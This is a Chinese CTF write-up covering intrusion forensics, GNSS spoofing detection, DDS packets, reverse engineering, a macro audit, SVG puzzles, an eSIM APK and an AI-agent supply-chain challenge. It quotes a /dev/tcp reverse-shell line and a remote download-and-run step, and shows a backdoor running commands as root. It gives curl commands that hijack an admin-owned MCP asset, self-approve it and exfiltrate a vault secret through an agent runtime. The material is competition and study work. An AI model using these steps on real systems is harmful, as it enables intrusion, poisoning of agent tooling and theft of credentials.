2026数信杯个人区域赛wp(下):应急响应 / 无人机 / Reverse / Misc / 移动安全 / OpposeAI

作者:ljnljn学习之路 发布:2026-10-19 00:00 收录:2026-10-21 11:03 4 次阅读 约 6448 字
摘要:Linux服务器入侵取证 tomcat-collector-v2 是 SEED,实际 AES key 为 0
推荐理由:本文涵盖「应急响应」、「Linux」、「取证」等多个主题,重点关注 应急响应。

Linux服务器入侵取证

tomcat-collector-v2 是 SEED,实际 AES key 为 0dbe221e1d2cc130c5cbd3c01bb09a69。当前 jar 接受的口令令牌是 29f645d42789;它虽可通过同一异或算法解码为 update,但程序没有在认证路径对它执行该解码。

问题
还原值
证据
1 攻击 IP
192.168.140.1
Apache 访问记录,以及 Tomcat 日志中的后门调用源地址
2 WebShell 文件及密码
hack520.jsp
、pass
webapps/hack520/hack520.jsp
 第 9 行 _password = "pass"
3 反连 IP
45.96.120.15/etc/crontab
 中 /dev/tcp/45.96.120.15/2333,以及 /tmp/...
4 实际口令及明文命令
29f645d42789:id
当前 update.jar 的认证逻辑;本地受控调用验证
5 加密 key
0dbe221e1d2cc130c5cbd3c01bb09a69
伪装库中 ConfigCipher.getKey() 的两轮 RC4 派生
6 日志中的 flag 内容
elf_backdoor_stream_xor
两层解密得到的 /tmp/.flag6.txt 内容

取证与攻击链

通过用户提供的 SSH 入口读取证据,保存至 evidence/,没有运行远端恶意 jar 或 ELF,也没有修改远端任务和文件。只分析本次从远端取得的材料。

Apache 日志有攻击来源 192.168.140.1 的上传及文件包含请求。Tomcat 日志有管理后台访问及 /hack520/hack520.jsp 调用记录,文件本身仍在,密码在源码中可读。Tomcat 配置保留 tomcat/tomcat 管理账号;Manager 日志包含 /hack520 应用启停记录。这些支持管理界面和部署应用相关的入侵路径,但现有访问日志没有完整上传请求体,不能仅凭这些材料断定所有上传操作的内容。

/root/.bash_history 保留从 45.96.120.15 下载 shell.sh 至 /tmp/... 并执行的操作;该脚本写入每分钟反连 45.96.120.15:2333 的计划任务。/etc/rc.local 也保留相同下载来源。

update.jar 提供 org.apache.catalina.filters.UpdateFilter,把 URL 参数解码后交给 /bin/sh -c。commons-codec-1.10.jar 实际只有 ConfigCipher、Collector 两个业务类,采集信息、调用 /usr/local/bin/updater,最后把加密结果追加到 /var/log/tomcat-collect.log。ELF 再采集临时 flag 文件及系统信息,输出第二层密文并删除临时文件。

逆向与解密

1. 当前后门与旧备份

必须以当前 update.jar 为准,备份 update.jar.bak 是明文参数版本。当前版本常量:

K        = 5c8f33ae77c12d
PASS_ENC = 29f645d42789
crypt(x)[i] = x[i] XOR K[i % 7] XOR ((9*i) & 255)

Tomcat 访问日志第 135–137 行保留 update=29f645d42789:35e2。异或还原前后两段可得到 update、id,但认证路径只对前半段执行 unhex() 并与 PASS_ENC 比较,不调用 crypt()。因此 update 不是当前 jar 实际接受的口令,实际口令令牌为 29f645d42789。

在本地 WSL 中使用 CheckBackdoor.java、当前 jar 和 Servlet API 构造请求代理,唯一测试命令为已确认的 id:

input=update:35e2 accepted=false
input=29f645d42789:35e2 accepted=true
[UPDATE OUTPUT]
uid=0(root) gid=0(root) groups=0(root)
[END]

日志见 backdoor-auth-verification.txt。这个实验确认实际口令和命令行为,不能代替比赛平台对整串答案的校验。

2. 伪装 jar 的 AES 加密

rc4Round 执行标准 RC4 KSA,然后输出 16 字节 PRGA 密钥流;没有将种子本身与流异或。每一轮重新初始化状态。

seed   = UTF8("tomcat-collector-v2")
round1 = RC4(seed).keystream(16)
       = 7af41d45fbc87f3427626a518bc10bff
key    = RC4(round1).keystream(16)
       = 0dbe221e1d2cc130c5cbd3c01bb09a69

ConfigCipher.encrypt 使用 AES/ECB/PKCS5Padding,对 AES 等价于 16 字节 PKCS#7 填充。TCC1: 后面是十六进制密文。解密成功后得到 12084 字节采集记录;脚本验证重新填充、加密可逐字节还原原密文。

3. UPX ELF 的流异或

/usr/local/bin/updater 是 UPX 4.2.4 加壳的 x86-64 ELF。本地使用 upx -d 解包为 updater.unpacked,没有执行恶意程序。反汇编中:

  • 0x401552 是 main;传入的第一个参数经十六进制解码,必须得到 16 字节 key。
  • 0x40105e 是加密函数,状态初值为 0x2f。
  • 0x401828 附近删除 /tmp/.flag6.txt,所以该文件现已不在文件系统不影响从日志恢复。

其逆变换为:

state = 0x2f
for i, c in enumerate(ciphertext):
    state = (state + key[i % 16] + 0x11) & 255
    plaintext[i] = c ^ state ^ ((19 * i) & 255)

对第一层明文中 UPD01: 后的 4703 字节数据执行逆变换,开头为:

=== updater collect ===
--- /tmp/.flag6.txt ---
flag6: elf_backdoor_stream_xor--- uname -a ---

flag6 的值以紧随其后的节标题为界。原临时文件没有换行,因此和下一节标题相连。

解密出的进程列表还包含一次删除旧日志、重建临时 flag、重启 Tomcat 的命令。这是采集时的进程快照,不能据此断言当前采集日志也不存在,更不能据此断言前五问的证据全部被删除。采集明文中部分 Apache 日期仍是 2023,当前日志被改为 2026;时间线存在整理痕迹,日期不宜作为唯一归因依据。

复现

环境:Python 3、PyCryptodome;ELF 静态分析使用 UPX 4.2.4 和 GNU objdump,Java 使用题目环境 JDK 8 的 javap。

python reinvestigate/decrypt.py

完整脚本会解密已保存的远端日志、保存两层明文,从日志、WebShell、计划任务取出答案并输出最终拼接。collect-01.txt 是第一层明文,updater-01-42.txt 是内层明文(具体行号后缀由脚本生成)。全部本地证据的 SHA-256 见 evidence-sha256.json。

flag{192.168.140.1_hack520.jsp:pass_45.96.120.15_29f645d42789:id_0dbe221e1d2cc130c5cbd3c01bb09a69_elf_backdoor_stream_xor}

无人机安全

天空在撒谎

材料字符串为:

486037000|GPS|GALILEO|75.0|37

按 UTF-8 编码计算 SHA-256,取小写十六进制摘要的前 32 个字符,得到:

flag{b347b01858cfa126cf7866ba0a413231}

字段判定

字段
结果
含义
onset_itow486037000
首个受影响历元的 iTOW
affected_constellationGPS
出现一致伪距异常的星座
reference_constellationGALILEO
未出现同类异常的参考星座
spoof_step_m75.0
每历元额外增加的伪距偏置
epoch_index37从 0 开始编号
,即第 38 个历元

如何定位欺骗起点

逐帧解析附件,共得到 120 个校验通过的 UBX 报文,其中 NAV-PVT 和 RXM-RAWX 各 60 个,对应 60 个历元。iTOW 从 486000000 开始,每次增加 1000。

原始观测中存在两个星座:gnssId=0 和 gnssId=2。按 UBX 定义,它们分别对应 GPS 和 Galileo,因此材料字符串使用 GPS、GALILEO。u-blox[1]

关键不是直接寻找经纬度漂移,而是比较伪距实际增量与多普勒预测增量是否一致。UBX 的 prMes 单位是米,doMes 单位是 Hz,且多普勒正号表示卫星正在接近,因此预测的伪距变化使用负号。u-blox[2]

对同一颗卫星的相邻历元计算:

实际伪距增量抵消多普勒预测增量

本附件的信号对应 GPS L1 C/A 与 Galileo E1 C;两者所在载频为 1575.42 MHz,使用波长:

米

信号编号与载频关系可由 UBX 信号表和信号文档核对。u-blox[3]

对每个星座的 6 颗卫星分别取残差中位数,起点附近的结果如下,单位为米:

零基历元
iTOW
GPS 残差中位数
GALILEO 残差中位数
35
486035000
-0.002821
-0.003006
36
486036000
-0.003114
-0.002927
3748603700074.997014-0.003122
38
486038000
74.997049
-0.002896
39
486039000
74.996879
-0.003029

因此,首个异常历元是 37,对应 iTOW 486037000。从这一历元开始,GPS 的伪距每个历元都比多普勒预测值额外增加约 75 米,而 GALILEO 仍然接近零。

用未受影响星座验证

在首次异常区间,即历元 36 → 37:

星座与卫星
实际伪距增量
多普勒预测增量
两者之差
GPS,SV 3
+57.026086
-18.000000
+75.026086
GALILEO,SV 2
-1.765001
-1.800000
+0.034999

这不是只出现在一颗卫星上的异常:起点处 6 颗 GPS 卫星的残差全部落在 74.956759~75.041552 米之间;与此同时,6 颗 GALILEO 卫星的残差仅为 -0.039032~0.035731 米。检查整个文件,GALILEO 的逐星残差始终保持在约 ±0.0442 米以内。

用 GALILEO 的中位数作为对照,起点处的星座间残差差值为:

米

固定保留一位小数,即 75.0。

附件中的 fixType 始终为 3、gnssFixOK 始终置位;按协议,这表示接收机持续报告有效的 3D Fix,但这些状态本身不等于观测不存在欺骗。u-blox[4] 此外,本文件中的 GPS 伪距与载波相位被同步带偏,仅检查二者的一致性也会漏掉异常;真正暴露问题的是它们与多普勒之间的不一致。

Domain 42

最终 Flag 为:

flag{7461da3557d96d1773e21d06e0a47229}

对应的材料字符串是:

000003c2|105|7|-0.145|-0.5475|1605

1. 确定正确的参与者与 writer

对 domain42.pcap 的参与者发现报文进行解析,得到:

发现报文帧号
参与者名称
Domain ID
GUID Prefix
1
payload-bench
7
01101234123456789abcdef0
2
maintenance-replay
42
0110deadc0de001337420042
3
fc-primary
42
0110aabbccddeeff10203040

按题目中的控制端角色,选择 Domain 42 的 fc-primary,其源 IP 为 10.13.0.3,命令 writer EntityId 为 000003c2。这里需要结合 GUID Prefix 区分参与者,不能仅凭端口或者 CRC 是否通过来筛选;GUID Prefix 是 RTPS 中标识参与者的字段。Fast DDS Docs[5]

2. 最后一条有效命令是序号 105,不是最后到达的 104

可信 writer 的命令记录如下:

抓包帧号
Writer Sequence
CRC32
校验结果
40
100
7cb8b015
通过
41
101
2fff46a3
通过
42
102
6bd26c9f
通过
44
104
3b8b4de8
通过
45105cc8ee049通过
46
104
3b8b4de8
通过,但与第 44 帧重复

第 46 帧虽然到达更晚,但其 RTPS 内容与第 44 帧完全相同,是旧序号 104 的重复包,不是一条更新的命令。

第 47 帧为同一 writer 的 HEARTBEAT,解析出的序号范围为 100~105,进一步印证最新序号为 105。HEARTBEAT 中的序号范围用于表明 writer 的样本序列状态,而不是按照抓包到达顺序重新编号。RTI Community[6]

3. 解码第 45 帧的 CDR 载荷并验证 CRC32

载荷封装头为 00 01 00 00,其表示标识 0x0001 对应小端 CDR_LE。Fast DDS Docs[7]

去掉四字节封装头后,应用数据为:

6900000007000000e17a14bef6280cbf4506000049e08ecc

按小端布局解码:

字段
原始字节
解码结果/提交格式
应用序号
69 00 00 00105
,与 RTPS writer sequence 一致
mode
07 00 00 007
pan
e1 7a 14 be
约 -0.1449999958 → -0.145
tilt
f6 28 0c bf
约 -0.5475000143 → -0.5475
duration
45 06 00 001605
CRC32
49 e0 8e cc0xcc8ee049

CRC32 的计算范围为应用数据前 20 字节,不包含 CDR 封装头,也不包含末尾 CRC 字段:

6900000007000000e17a14bef6280cbf45060000

计算结果与载荷中存储的值一致:

计算 CRC32:0xcc8ee049
存储 CRC32:0xcc8ee049

我还用独立的逐位 CRC32 实现交叉验证,结果相同。

4. 计算最终摘要

对材料字符串的 UTF-8 字节计算 SHA-256,不加入换行:

000003c2|105|7|-0.145|-0.5475|1605

完整摘要为:

7461da3557d96d1773e21d06e0a47229c84fb49471796eb3a92948ff2d7442bf

取前 32 个小写十六进制字符,得到:

flag{7461da3557d96d1773e21d06e0a47229}

Reverse

八证词

恢复出的 Flag 是:

flag{utyzn4pgv6bvlilpasoq3o5s}

长度为 30 字节,已验证正确输入得到:

ok

验证时加载了原 EXE 的机器码并执行原主函数,仅适配 Windows 系统接口,没有修改校验逻辑或预期结果。正确输入返回码为 0;将首字母改成大写,或者删除最后一个字符,都会输出 ignored,返回码为 1。

解题关键

程序中内嵌了以 WIT8RS01 开头的数据,包含八个 worker,每个 worker 都有自己的操作码置换表、滚动解码密钥和 177 条虚拟机指令。

解码后,八份“证词”实际对应 GF(256) 上的三次多项式约束。对每一列,从八个取值中寻找至少六个一致的取值,就能纠正两个受损值,恢复预处理后的 32 字节:

12515a0466279f86ea3e59658a67600d46c32a68ec3557809edcb2fa782086be

随后逆向四个独立 8 字节块的差分变换、10 轮 Feistel 变换和初始异或掩码,得到:

flag{utyzn4pgv6bvlilpasoq3o5s}\x00\x00

最后两个 \x00 是内部填充,不要输入。

折叠端口

已解出,程序中填写:

Username: CTF
Serial: 99862E7DE2FB974AE1080F02738ADE66E7453381CAC9E6FBA0E918ED170DBBD1

Serial 是 64 个大写十六进制字符,不要加入空格。

验证结果

我将恢复的 Serial 交给原程序的解析函数,再通过原始运算函数执行全部 320 个单元,最终得到:

00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000

程序在 0x140003906 附近将最终结果与 32 字节全零数据比较,相等即设置成功标志。上述结果满足这一条件。

此外,独立 Python 实现与原始机器码的 320 组派生参数、320 个网络单元,以及 1280 次轮函数计算全部一致。验证使用的是原始核心函数,没有启动 Windows 图形界面。

核心解法

程序将 Serial 解析为 8 个小端 32 位整数,经过 80 层、每层 4 个单元的变换。

单元函数 0x140005A80 实际上是 Feistel 结构:

L_next = R
R_next = L XOR F(Username, unit_id, R)

因此可以直接逆推:

R = L_next
L = R_next XOR F(Username, unit_id, L_next)

轮函数虽然包含 SHA-256 参数派生、S 盒、乘法、循环移位和字节重排,但不需要求轮函数自身的逆函数,也不需要暴力破解。从最终的 8 个零出发,按单元编号 319 → 0 逆序恢复,就得到上面的 Serial。

复现脚本

solve_foldport.py · FoldPort_分析记录.md

脚本仅使用 Python 标准库,直接运行:

python solve_foldport.py

会输出正确 Serial 和 Mathematical verification: PASS。

Misc

宏安全审计

真正的 Flag 是:

flag{what_runs_is_not_what_you_read}

已完成纯静态恢复:没有启用宏,没有执行附件中的 VBA 或缓存字节码。恢复结果通过了顺序 CRC16、密文 CRC32 校验,并能反向编码回全部原始密文字节。

1. 可见 VBA 中的 Flag 是诱饵

解压 xl/vbaProject.bin,解析 OLE 结构后,在 VBA/Module1 流的 0x3BB 处找到压缩源码。源码中包含:

reportToken = "ZmxhZ3t2YmFfc291cmNlX2lzX3RydXN0ZWR9"
MsgBox "Audit passed: " & DecodeAuditToken(reportToken)

这段 Base64 解码得到:

flag{vba_source_is_trusted}

但对应函数的注释明确指出:

Historical compatibility stub. The source-side result is an audit decoy.

源码最后还写明:

Source-order 0,1,2,3,4 is only a compatibility lie.

因此,上述 Flag 和隐藏工作表给出的 0,1,2,3,4 顺序都不能直接采用。完整内容见Module1_source.txt。

这里需要区分可见源码和缓存证据:VBA 源码与编译后的 p-code 可以分别存储,单看源码不足以判断缓存中的内容。GitHub[8]

2. 从五个位置取出密文片段

附件将数据分散存放,并使用不同编码:

槽编号
所在位置
提取方式
得到的字节(十六进制)
0
docProps/core.xml
 的 AUD0 注释
Base64 解码
c5394c21b77dd5
1
xl/worksheets/sheet1.xml
 的 AUD1 注释
十六进制解码
1b23ce79c8c66f
2
xl/workbook.xml
 的 AUD2 注释
逗号分隔的十进制字节
8d5bee1e692141
3
xl/vbaProject.bin
 尾部的 CTFSLOT3
标记后读取两字节大端长度及载荷
bc5792bede1239ec
4
xl/embeddings/vbaCache.bin
 的末尾槽
两字节大端长度及载荷
c07c99b44ef969

其中,CTFSLOT3 标记位于 vbaProject.bin 内偏移 0x4201,对应载荷长度为 8 字节。这些提取值已保存在evidence.json中。

3. 静态恢复真正的拼接顺序和初始状态

vbaCache.bin 是一个 64 字节的自定义 VBCS 结构化记录,包含:

版本:          1
顺序 CRC16:    0x75E8
密文 CRC32:    0x473D22E8
栈式记录长度:  42 字节
末尾槽长度:    7 字节

它不是 Excel 原生 VBA p-code。根据源码中的操作码枚举,可以将其中五组固定表达式直接化简,不需要运行字节码:

0xA4 XOR 0xA7 = 3
0x38 XOR 0x39 = 1
0xD6 XOR 0xD2 = 4
0x6C XOR 0x6C = 0
0x57 XOR 0x55 = 2

所以真正的拼接顺序为:

3 → 1 → 4 → 0 → 2

后面的两条累加器记录给出初始状态。这里的 32 位操作数按小端读取,与文件头的校验值和长度字段不同:

c2 b7 31 8f → 0x8F31B7C2
37 ce 1a e2 → 0xE21ACE37

初始状态 = 0x8F31B7C2 XOR 0xE21ACE37
         = 0x6D2B79F5

按上述顺序拼接后,得到 36 字节密文:

bc5792bede1239ec1b23ce79c8c66fc07c99b44ef969c5394c21b77dd58d5bee1e692141

校验结果如下,均与记录头一致:

校验对象
计算结果
顺序原始字节 03 01 04 00 02,CRC-16/CCITT-FALSE
0x75E8
拼接后的 36 字节密文,CRC32
0x473D22E8

反过来,诱导顺序 0,1,2,3,4 的两个校验结果分别为 0x1C0F 和 0x1F1257EA,均不匹配。详细数值和字节轨迹见静态分析报告.md。

4. 解码与反向验证

从 state = 0x6D2B79F5 开始,每处理一个密文字节,先推进一次状态,再进行循环右移和异或:

def ror8(value, count):
    return ((value >> count) | (value << (8 - count))) & 0xFF

state = 0x6D2B79F5
plaintext = bytearray()

for value in ciphertext:
    state = (state ^ (state << 13)) & 0xFFFFFFFF
    state = (state ^ (state >> 17)) & 0xFFFFFFFF
    state = (state ^ (state << 5)) & 0xFFFFFFFF

    count = (state >> 8) & 7
    plaintext.append(ror8(value, count) ^ (state & 0xFF))

所得明文就是开头的 Flag。将明文按相反步骤——先异或状态低字节,再循环左移——重新编码后,36 个字节全部与原密文一致。

Vector Secrets

恢复出的 Flag 是:

FLAG{XOR_SHAPES_REVEAL_FLAG}

恢复依据

关键不在隐藏文本,而在于:复原两组矩形的坐标,再对它们做几何异或。

1. 找到被海报覆盖的几何数据

SVG 中,frame_83 包含 232 组 <use> 引用,分别指向 asset_000 至 asset_231。每组都有平移、矩阵变换和对应的 clipPath。

后绘制的 poster 首先放置了一个覆盖整个画布的不透明背景矩形,因此直接查看海报看不到这些几何数据。

2. 先裁剪,再还原全局坐标

对每个被引用的矩形,先与对应裁剪框求交,再应用其父级变换。对于:

<g transform="translate(tx ty)">
  <g transform="matrix(a b c d e f)">

局部坐标到全局坐标的关系为:

计算时需要变换矩形的四个角,再重新确定边界,不能只变换左上角,否则遇到旋转、镜像会发生位置偏移。

232 个符号中共有 1,852 个矩形;裁剪排除了 464 个,剩下 1,388 个。它们变换后全部仍为 5×5 方块,落在起点为 (90,405)、步长为 5 的 168 列 × 7 行网格上。

3. 对两组坐标集合做 XOR

根据引用顺序和填色,可以分成两组:

集合
符号范围
填色
不重复方块数
A
asset_000
~asset_114
#16263a
、#1b344d
689
B
asset_115
~asset_231
#24496b
、#2d5d87
699

两组各自内部没有重复坐标,但两组之间有 494 个重合位置。保留只出现在其中一组的位置,即计算对称差:

得到:

这 400 个方块形成了规则字形;直接取并集则只会得到杂乱的点阵。

4. 按几何网格拆分字符

异或结果中,每 6 列为一组:前 5 列构成字形,第 6 列全部为空。因此恰好得到 28 个 5×7 字符。

例如,第一个字符的占用矩阵为:

11111
10000
11110
10000
10000
10000
10000

对应 F。从左至右逐组读取,得到:

F L A G { X O R _ S H A P E S _ R E V E A L _ F L A G }

移动安全

eSIM迁移审计

恢复出的审计令牌是:

19d2cf987a3e049e5c5082d7c27a219d

这与上一步保存的令牌及成功验证记录一致,nativeProcessInput 的返回值为 1。 esim_audit_token verification

验证结果

保存的 native 验证记录包含三组对照:

测试条件
nativeProcessInput
 返回值
结果
正确令牌+完整记录
1
通过
将令牌中的 19d2… 改为 19d3…
0
失败
正确令牌,但破坏记录
0
失败

这三组结果说明,保存的成功结果同时依赖正确令牌和完整记录,而不是任意输入都能通过。 verification verification verification

APK 中应如何输入

这次重新检查了 classes.dex,确认审计按钮的逻辑是:

检查输入没有首尾空白,且已经是小写
    ↓
hexDecode:要求恰好 32 个十六进制字符,解码为 16 字节
    ↓
读取 incident 记录,并完成 nativeUnlock
    ↓
nativeProcessInput(输入字节, incident记录)
    ↓
返回 1 显示 “Correct”,否则显示 “Wrong”

OpposeAI

SkillHub

漏洞不在某个注入点,而在审计结论与运行时信任条件之间的缺口:安全扫描器 9 个引擎里 7 个 根本不存在(executable not found),只剩 manifest + inventory 两个只做"打包清单"级别的检查, 永远给 PASS;而内部 Agent 运行时装载 MCP 能力只看三件事——publisher_id == system_admin、 资源级 moderation_status == APPROVED、目标版本 version_moderation_status == APPROVED。

于是:以审核员身份,向官方 system_admin 名下的 MCP 资产追加一个自己写的版本(资产归属不变、 代码全换),自己给自己过审,运行时就会以 agentrt 身份拉起我们的代码。载荷读走保险箱里的 flag, 写进运行时与平台共享的内部 git 库并 push,平台下一次 internal-skill-sync 把它当普通 Skill 导入, flag 就直接出现在平台上。


1. 报告是空的:安全扫描器形同虚设

GET /api/v1/security-audit/reports/<asset_id>/<version>:

"engine_statuses": {"osv":"FAILED","sbom":"FAILED","yara":"FAILED","trivy":"FAILED",
                    "clamav":"FAILED","gitleaks":"FAILED","manifest":"SUCCEEDED",
                    "inventory":"SUCCEEDED","skillspector":"FAILED"},
"engine_details": {"osv":"osv-scanner executable not found", "trivy":"trivy executable not found", ...}

9 个引擎 7 个因为可执行文件不存在直接 FAILED,真正跑起来的只有:

引擎
实际做了什么
manifest
极弱的模式匹配(本次只报了一条非阻断的 PY-DYNAMIC-EXEC)
inventory
列出 ZIP 里有哪些文件、文件哈希、内嵌 URL

也就是说,"通过安全审计"的输入里根本不包含文件内容——报告只覆盖了"包里有什么文件"。 这正是题面里"没有人会去问那份报告到底看了什么"的实体。

初始 1.0.0 版本、以及我们后来的载荷版本,verdict 要么 PASS 要么 REVIEW,从不 BLOCK, 过审毫无阻力。

2. 从 agent-runtime-guide 读出装载契约

平台公开列表里就有一份 agent-runtime-guide(system_admin 发布),把内部约定写得清清楚楚:

SkillHub(平台,人工审核 + 安全审计)   │  审核通过
▼内部能力仓库 agent-skill-hub ──pull──▶ 内部 Agent 运行时
▲                                      │   └──── SkillHub Bot 机器人写回 ◀──── 平台 Git 导出任务

装载条件(三个都要满足):

条件
取值
来源
publisher_id == system_admin
资源状态
moderation_status == APPROVED
版本状态
version_moderation_status == APPROVED
(必须是该版本自身过审)

运行环境:运行时以 agentrt(uid 1001) 运行,能力进程与运行时同身份,可读运行时保险箱 $SKILLHUB_AGENT_VAULT(默认 /srv/agent/vault,存放 Agent 侧凭据面,0400 agentrt) 和内部能力仓库工作副本 /srv/agent/repo。运行时每 15s 轮询一次平台,同一个 (asset_id, version) 只装载一次。

注意详情接口用 PATCH 而不是 GET(GET 返回 405)——这是前端拉取资产详情的方式。

3. 把自己的代码挂到官方资产上

POST /api/v1/plugins(multipart + X-Checksum-SHA256)。直接发新包 publisher_id 只能是自己, 运行时不会装载。关键点:带上 plugin_id 参数,服务端按"包内 plugin.yaml 的 name == 目标资产名" 校验,就把新版本追加到别人的资产上——资产归属仍是 system_admin,代码却是攻击者的:

curl -X POST "$T/api/v1/plugins" \
  -H "Authorization: Bearer $TOK" -H "X-Checksum-SHA256: $SHA" \
  -F "file=@skillhub-inventory-mcp-9.0.19990.zip" \
  -F "plugin_id=87addcb533d8410cba47aed508813b9a" \
  -F "expected_plugin_type=mcp-stdio"
# -> {"plugin_id":"87addcb533d8410cba47aed508813b9a", ...}
#    storage_url: plugins/<我>/87addcb.../9.0.19990/...   ← 路径里是我的 id,资产归属却是 system_admin

包的硬性要求(踩坑记录):

  • ZIP 必须有恰好一层顶层目录,plugin.yaml 在第一层里;缺 README.md 会被 invalid_plugin_structure 拒掉。
  • .mcp.json 的校验挡住的是命令形式(不能 sh -c、不能绝对路径),不是内容: 用 python3 src/server.py 这个完全合规的形态,把载荷放进脚本里即可。

4. 补齐装载三条件:自己审自己

新版本发布后资源级状态变 PENDING。用审核员身份:

curl -X POST "$T/api/v1/plugins/$ASSET/moderation" \
  -H "Authorization: Bearer $TOK" -H 'Content-Type: application/json' \
  -d '{"action":"approve","version":"9.0.19990"}'

(扫描 job 落库前会 409,重试几次即可;也可以用返回里的 security_report_id 带上。) 版本过审后,三条件同时满足:publisher_id=system_admin + 资源 APPROVED + 版本 APPROVED。

5. 触发装载,把 flag 带出来

curl -X POST "$T/api/v1/plugins/git-export-jobs/run-once"
# 包推到 /srv/git/agent-skill-hub.gitcurl -X POST "$T/api/v1/plugins/internal-skill-sync" -d '{"pull":true}'

运行时 15s 内轮询到新版本,以 agentrt 身份拉起 python3 src/server.py。载荷干三件事:

  1. 读 $SKILLHUB_AGENT_VAULT/flag(与运行时同身份,读得到);
  2. 写进共享仓库 skills/exfil-marker/SKILL.md,git add/commit/push 回共享裸库;
  3. 按 MCP stdio 约定把结果吐到 stdout(对运行时保持"正常 MCP 服务"的样子)。

之后平台的下一次 internal-skill-sync 拉取共享仓库,把 exfil-marker 当普通 Skill 导入, flag 就出现在资产的 short_desc / detail_desc 里:

asset: fb45d9dd96c44531a4b410c355847a45  name=exfil-marker  publisher=system_adminshort_desc = flag{2a2e13c34bccc3747a95c22889145db5}

引用链接

[1]u-blox: https://content.u-blox.com/sites/default/files/documents/u-blox-F10-TIM-3.01_InterfaceDescription_UBX-23003447.pdf

[2]u-blox: https://content.u-blox.com/sites/default/files/documents/u-blox-F10-TIM-3.01_InterfaceDescription_UBX-23003447.pdf

[3]u-blox: https://content.u-blox.com/sites/default/files/documents/u-blox-F10-TIM-3.01_InterfaceDescription_UBX-23003447.pdf

[4]u-blox: https://content.u-blox.com/sites/default/files/documents/u-blox-F10-TIM-3.01_InterfaceDescription_UBX-23003447.pdf

[5]Fast DDS Docs: https://fast-dds.docs.eprosima.com/en/latest/fastdds/discovery/discovery_server.html?utm_source=chatgpt.com

[6]RTI Community: https://community.rti.com/forum-topic/connext-logs?utm_source=chatgpt.com

[7]Fast DDS Docs: https://fast-dds.docs.eprosima.com/en/v2.6.12/fastdds/api_reference/rtps/common/SerializedPayload/defines.html?utm_source=chatgpt.com

[8]GitHub: https://github.com/bontchev/pcodedmp?utm_source=chatgpt.com

转载声明:本文转载自原发布平台 (作者:ljnljn学习之路), 原文标题《2026数信杯个人区域赛wp(下):应急响应 / 无人机 / Reverse / Misc / 移动安全 / OpposeAI》, 查看原文。 版权归原作者及原发布平台所有,本站仅作收录与展示,未对正文内容作实质性修改; 若涉及侵权请联系本站处理。